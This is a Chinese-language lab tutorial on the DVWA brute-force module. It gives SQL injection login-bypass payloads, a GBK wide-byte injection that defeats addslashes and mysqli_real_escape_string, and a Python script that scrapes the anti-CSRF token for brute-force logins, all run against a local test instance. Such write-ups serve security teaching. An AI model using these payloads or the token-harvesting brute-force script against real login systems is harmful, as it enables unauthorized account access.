DVWA——改GBK尝试宽字节注入(brute教程)

DVWA教程——爆破brute force

1、low等级

ps:加入echo $query 方便测试
输入admin/admin,查看$query结果

SELECT * FROM `users` WHERE user = 'admin' AND password = '21232f297a57a5a743894a0e4a801fc3'; 
// Get username
    $user = $_GET[ 'username' ];
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

没有对GET提交的username、password进行任何过滤,直接带入数据库进行查询,可进行注入
payload:
?username=admin’%23&password=&Login=Login

SELECT * FROM `users` WHERE user = 'admin'#' AND password = 'd41d8cd98f00b204e9800998ecf8427e';

?username=admin%27–+%2B&password=&Login=Login

SELECT * FROM `users` WHERE user = 'admin'-- +' AND password = 'd41d8cd98f00b204e9800998ecf8427e';

使用burp的intruder功能对密码进行爆破
在这里插入图片描述
在这里插入图片描述

2、medium等级

<?php
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    echo $query;

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。查看转义效果:

SELECT * FROM `users` WHERE user = 'admin\'*/\"' AND password = 'c4ca4238a0b923820dcc509a6f75849b';

语法:

mysqli_real_escape_string(connection,escapestring);
参数描述
connection必需。规定要使用的 MySQL 连接。
escapestring必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。

过滤的单引号、双引号不能注入,那就用burpsuite进行爆破,方法与前面相同

宽字节注入绕过

据说如果mysql的默认编码为GBK,可以绕过mysqli_real_escape_string/addslashes函数的过滤,自己修改下mysql设置,编写php代码测试一下
addslashes函数的语法:

addslashes ( string $str ) : string

addslashes函数的作用:
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(")、反斜线(\)与 NUL(NULL 字符)。

(1)修改mysql默认编码设置

参考教程:MySql5.7.18字符集配置图文实例分享

我用的是phpstudy2018版,mysql版本为5.5.53,用命令修改编码不能成功,直接从my.ini下手

[client]
#default-character-set=utf8mb4
default-character-set=gbk
port=3306
[mysql]
#default-character-set=utf8mb4
default-character-set=gbk

phpstudy2018的mysqld下不能设置default-character-set=gbk,否则无法重新启动mysql,测试phpstudy2016发现改my.ini也没有用。

修改后查看默认编码

show variables like "%character_set_%";

在这里插入图片描述
修改dvwa数据库的默认编码
alter database dvwa character set gbk;
查看修改结果:
show create database dvwa;
在这里插入图片描述
同理修改数据表user的默认编码
alter table ‘users’ default character set gbk;
查看修改结果:
show create table users;在这里插入图片描述
将medium.php单独拿出来,修改部分代码可以实现宽字节注入本地复现,在medium.php前两行加入下面代码测试宽字节注入:
注意:将该文件放在根目录下测试才能成功

$GLOBALS["___mysqli_ston"]=mysqli_connect('127.0.0.1','root','root','dvwa',3306);
mysqli_query($GLOBALS["___mysqli_ston"],  "SET NAMES 'gbk'" );
(2)编写测试代码

宽字节注入原理及本地复现参考教程:Hr-Papers|宽字节注入深度讲解
使用dvwa数据库编写测试代码:

<?php
//连接数据库部分,注意使用了gbk编码
header('Content-Type:text/html;charset=gb2312');
 $conn = mysqli_connect('localhost', 'root', 'root','dvwa') or die('bad!');
 mysqli_query($conn,"SET NAMES 'gbk'");

 //执行sql语句
 $user = isset($_GET['user']) ? addslashes($_GET['user']) : 'admin';
 //$user = isset($_GET['user']) ? mysqli_real_escape_string($conn,$_GET['user']) : 'admin';
 $sql = "SELECT * FROM users WHERE user='{$user}'";
 echo $sql;
 echo "\n";
 $result = mysqli_query($conn,$sql) or die(mysqli_error($conn));
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>宽字节测试</title>
</head>
 <?php
if( $result && mysqli_num_rows( $result ) == 1 ){
    $row = mysqli_fetch_array($result, MYSQLI_ASSOC);
    echo "<h2>{$row['user']}</h2><p>{$row['password']}<p>\n";
}
else{
    echo "<p>"."user or password error!"."<p>\n";
}
mysqli_close($conn);
?>
</body>
</html>

payload:
?user=admin%df%27%20–%20+
使用mysqli_real_escape_string过滤的结果:
在这里插入图片描述
使用addslashes过滤的结果:
在这里插入图片描述

3、high等级

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();
?>

新增token校验和stripslashes()函数过滤

stripslashes定义和用法
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
没有趁手的工具,自己来用python来爆破一波

获取token脚本
#coding:utf-8
import requests
import re

url='http://192.168.78.1/dvwa/vulnerabilities/brute/'
headers={
"Host":"192.168.78.1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Referer":"http://192.168.78.1/dvwa/security.php",
"Connection":"keep-alive",
"Cookie":"security=high; PHPSESSID=ke27qaiipg1rghvda1hgu4td86",
"Upgrade-Insecure-Requests":"1",
"Cache-Control":"max-age=0"
}
s=requests.session()
res=s.get(url=url,headers=headers,timeout=10)
# print(res.text)
html_res=res.text
pattern=r'\Suser_token\S\svalue=\S(.*)\S\s/>'
p=re.compile(pattern)
user_token=p.findall(html_res)[0]
print(user_token)
user='admin'
pwd='password'
params={'username':user,'password':pwd,'Login':'Login','user_token':user_token}
bruteres=s.get(url=url,headers=headers,params=params,timeout=10)
print(len(bruteres.text))
print(bruteres.text)

这里没有加载字典进行爆破,只用了正确的账号密码进行了登陆,关键在获取token,相关加载字典爆破代码可以参照我另一篇文章《Python 验证码 crunch|狼组CTF题 有验证码后台账号密码爆破》

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值